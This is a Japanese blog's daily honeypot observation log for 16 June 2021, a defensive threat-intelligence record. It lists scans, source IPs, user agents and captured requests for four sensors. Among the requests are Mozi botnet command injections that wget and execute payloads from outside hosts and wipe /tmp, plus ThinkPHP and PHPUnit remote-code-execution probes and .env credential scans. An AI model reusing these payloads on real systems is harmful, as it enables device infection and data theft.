コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/06/16 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/06/16分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.envへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

NetGear製品の脆弱性を狙うアクセス
IDBTE4M CODE87へのスキャン行為
zgrabへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
Gh0stRATのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：US

JBossの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
zgrabへのスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
112[.]124[.]42[.]80に関する不正通信
UserAgentがHello, Worldであるアクセス
Gh0stRATのような動き
を確認しました。

Location：UK

NetGear製品の脆弱性を狙うアクセス
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
WordPressへのスキャン行為
112[.]124[.]42[.]80に関する不正通信
を確認しました。

Location：SG

IDBTE4M CODE87へのスキャン行為
zgrabへのスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
Gh0stRATのような動き
を確認しました。

他
アクセス数推移

JP：総アクセス数：223 (前日比：+162)
US：総アクセス数：109 (前日比：+74)
UK：総アクセス数：55 (前日比：+27)
SG：総アクセス数：129 (前日比：+77)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.90.185.180 United States
2 20.96.176.70 United States
2 34.102.117.111 United States
1 41.142.171.134 Morocco
22 45.146.165.123 Russia
1 45.182.59.25 Brazil
1 49.89.23.87 China
63 52.168.4.165 United States
1 103.145.13.222 India
101 112.74.34.42 China
1 128.14.134.170 United States
2 129.146.9.30 United States
1 132.145.78.163 United States
2 135.125.246.189 France
1 142.93.146.198 United States
1 142.93.236.122 United States
5 167.172.47.146 United States
1 172.104.83.143 United States
2 172.105.40.85 United States
1 178.72.70.36 Russia
2 183.136.225.14 China
1 185.153.196.72 Russia
1 199.19.225.175 United States
1 205.185.127.124 United States
1 209.141.32.139 United States
3 209.141.33.139 United States
2 209.141.57.253 United States

UserAgent一覧

件数 UserAgent
10 -
1 Hello, world
1 IDBTE4M CODE87
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
63 Mozilla/5.0 (Windows NT 5.1; Win64; x64) Gecko/20062710 Firefox/19.0
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
6 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
9 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
1 curl/7.47.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 HELP
1 \x03
2 \x16\x03\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
10 GET /.env HTTP/1.1
1 GET /.local HTTP/1.1
1 GET /.production HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET //admin/.env HTTP/1.1
1 GET //administrator/.env HTTP/1.1
1 GET //api/.env HTTP/1.1
1 GET //app/.env HTTP/1.1
1 GET //apps/.env HTTP/1.1
1 GET //assets/.env HTTP/1.1
1 GET //config/.env HTTP/1.1
1 GET //core/.env HTTP/1.1
1 GET //core/Datavase/.env HTTP/1.1
1 GET //core/app/.env HTTP/1.1
1 GET //cron/.env HTTP/1.1
1 GET //cronlab/.env HTTP/1.1
1 GET //database/.env HTTP/1.1
1 GET //en/.env HTTP/1.1
1 GET //exapi/.env HTTP/1.1
1 GET //lab/.env HTTP/1.1
1 GET //laravel/.env HTTP/1.1
1 GET //lib/.env HTTP/1.1
1 GET //psnlink/.env HTTP/1.1
1 GET //public/.env HTTP/1.1
1 GET //saas/.env HTTP/1.1
1 GET //site/.env HTTP/1.1
1 GET //sitemaps/.env HTTP/1.1
1 GET //tools/.env HTTP/1.1
1 GET //uploads/.env HTTP/1.1
1 GET //v1/.env HTTP/1.1
1 GET //v2/.env HTTP/1.1
1 GET //vendor/.env HTTP/1.1
1 GET //web/.env HTTP/1.1
1 GET /6493205775247574395834.html HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /api/markets/btc_usdt/orderbook?depth=1 HTTP/1.1
2 GET /console/ HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 HEAD / HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
2 POST /api/jsonws/invoke HTTP/1.1
9 POST /boaform/admin/formLogin HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 14.109.101.208 China
1 27.43.118.46 China
2 34.90.25.200 United States
1 40.121.159.159 United States
10 45.119.212.198 Vietnam
22 45.146.165.123 Russia
10 49.233.117.194 China
3 51.158.78.179 France
1 59.99.143.148 India
1 60.191.125.35 China
1 66.240.205.34 United States
1 83.251.143.42 Sweden
1 89.248.165.237 United Kingdom
1 103.145.13.222 India
1 103.153.77.81 Vietnam
1 123.115.224.88 China
7 125.64.94.136 China
1 128.14.141.34 United States
1 128.199.255.164 United Kingdom
10 129.28.141.140 China
1 134.209.167.63 United States
1 142.93.146.198 United States
10 146.56.228.189 China
1 163.172.68.26 United Kingdom
1 167.71.19.115 United States
2 172.105.105.87 United States
1 172.245.158.3 United States
1 185.153.196.72 Russia
8 187.217.204.254 Mexico
1 199.19.224.153 United States
2 199.19.224.201 United States
1 199.19.225.175 United States
1 209.141.32.139 United States
1 209.141.33.139 United States

UserAgent一覧

件数 UserAgent
20 -
4 Go-http-client/1.1
1 Hello, World
8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2; rv:52.0.2) Gecko/20100101 Firefox/52.0.2
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
36 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
2 \x03
9 \x16\x03\x01
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
4 GET /.env HTTP/1.1
1 GET /6493205775247574395834.html HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=G0bOC3PT HTTP/1.1
4 GET /TP/html/public/index.php HTTP/1.1
4 GET /TP/index.php HTTP/1.1
4 GET /TP/public/index.php HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
2 GET /console/ HTTP/1.1
4 GET /elrekt.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
4 GET /html/public/index.php HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
4 GET /index.php HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
4 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /invoker/readonly HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manager/html HTTP/1.1
4 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//114[.]248[.]84[.]249:48571/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//14[.]109[.]101[.]208:44146/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//27[.]43[.]118[.]46:38027/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//83[.]251[.]143[.]42:54602/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /solr/admin/info/system?wt=json HTTP/1.1
4 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 HEAD / HTTP/1.0
1 HEAD /robots.txt HTTP/1.0
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
1 OPTIONS / HTTP/1.0
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /_ignition/execute-solution HTTP/1.1
1 POST /admin/config.php HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
6 POST /boaform/admin/formLogin HTTP/1.1
4 POST /index.php?s=captcha HTTP/1.1
3 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//lisalancaster[.]site/959561bb8e1a26fb071808b8137a58113dd024a97769f17d051db713efa1b0ae1a3035026851aafb9cc72a1979b924c8e0e40b9be2ac916a245a93cc9a867397c3536286039a3af750bb36dba285ce54a333fcc7676323e95e1ef6df02f27594 HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.73.33.96 United States
1 27.150.233.242 China
2 34.127.82.10 United States
1 40.121.159.159 United States
3 42.192.67.126 China
22 45.146.165.123 Russia
1 60.191.125.35 China
7 103.212.211.44 Indonesia
1 116.25.132.228 China
1 121.46.25.189 China
7 125.64.94.136 China
1 128.14.133.58 United States
1 134.122.84.110 United States
1 185.153.196.72 Russia
1 189.224.73.221 Mexico
1 190.83.155.186 Trinidad and Tobago
2 209.141.57.253 United States
1 212.192.241.87 Czechia

UserAgent一覧

件数 UserAgent
15 -
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
8 \x16\x03\x01
3 GET /.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
2 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
2 GET /pmd/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//27[.]150[.]233[.]242:48170/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
1 OPTIONS / HTTP/1.0
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /_ignition/execute-solution HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/login.cgi HTTP/1.1
3 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.68.241.118 United States
1 23.251.102.74 United States
2 34.95.31.77 United States
22 45.146.165.123 Russia
64 52.142.13.1 United States
1 61.147.15.66 China
1 61.147.15.67 China
1 61.242.54.107 China
1 66.240.205.34 United States
1 72.179.171.226 United States
1 74.201.28.43 United States
1 81.246.173.26 Belgium
1 103.133.104.38 Vietnam
1 103.145.13.222 India
1 115.52.176.173 China
1 120.85.168.178 China
1 132.145.78.163 United States
1 139.162.145.250 Netherlands
2 139.162.177.21 Netherlands
1 142.93.146.198 United States
3 157.86.20.12 Brazil
1 157.230.40.179 United States
1 162.62.123.46 Singapore
3 163.172.161.118 United Kingdom
7 167.71.90.202 United States
5 167.172.47.146 United States
1 185.153.196.72 Russia
1 199.19.224.201 United States
1 209.141.57.253 United States

UserAgent一覧

件数 UserAgent
18 -
1 IDBTE4M CODE87
1 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
2 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:62.0.3) Gecko/20100101 Firefox/62.0.3
63 Mozilla/5.0 (Windows; U; MSIE 7.0b; Windows NT 6.3; .NET CLR 1.2.4068; WOW64)
5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
1 User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705

リクエスト内容一覧

件数 Method Request Protocol
2 Gh0st\xad
1 HELP
1 \x03
6 \x16\x03\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
8 GET /.env HTTP/1.1
1 GET /.local HTTP/1.1
1 GET /.production HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET //admin/.env HTTP/1.1
1 GET //administrator/.env HTTP/1.1
1 GET //api/.env HTTP/1.1
1 GET //app/.env HTTP/1.1
1 GET //apps/.env HTTP/1.1
1 GET //assets/.env HTTP/1.1
1 GET //config/.env HTTP/1.1
1 GET //core/.env HTTP/1.1
1 GET //core/Datavase/.env HTTP/1.1
1 GET //core/app/.env HTTP/1.1
1 GET //cron/.env HTTP/1.1
1 GET //cronlab/.env HTTP/1.1
1 GET //database/.env HTTP/1.1
1 GET //en/.env HTTP/1.1
1 GET //exapi/.env HTTP/1.1
1 GET //lab/.env HTTP/1.1
1 GET //laravel/.env HTTP/1.1
1 GET //lib/.env HTTP/1.1
1 GET //psnlink/.env HTTP/1.1
1 GET //public/.env HTTP/1.1
1 GET //saas/.env HTTP/1.1
1 GET //site/.env HTTP/1.1
1 GET //sitemaps/.env HTTP/1.1
1 GET //tools/.env HTTP/1.1
1 GET //uploads/.env HTTP/1.1
1 GET //v1/.env HTTP/1.1
1 GET //v2/.env HTTP/1.1
1 GET //vendor/.env HTTP/1.1
1 GET //web/.env HTTP/1.1
1 GET /6493205775247574395834.html HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /bag2 HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
2 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
2 GET /manager/html HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
2 OPTIONS / HTTP/1.0
1 POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
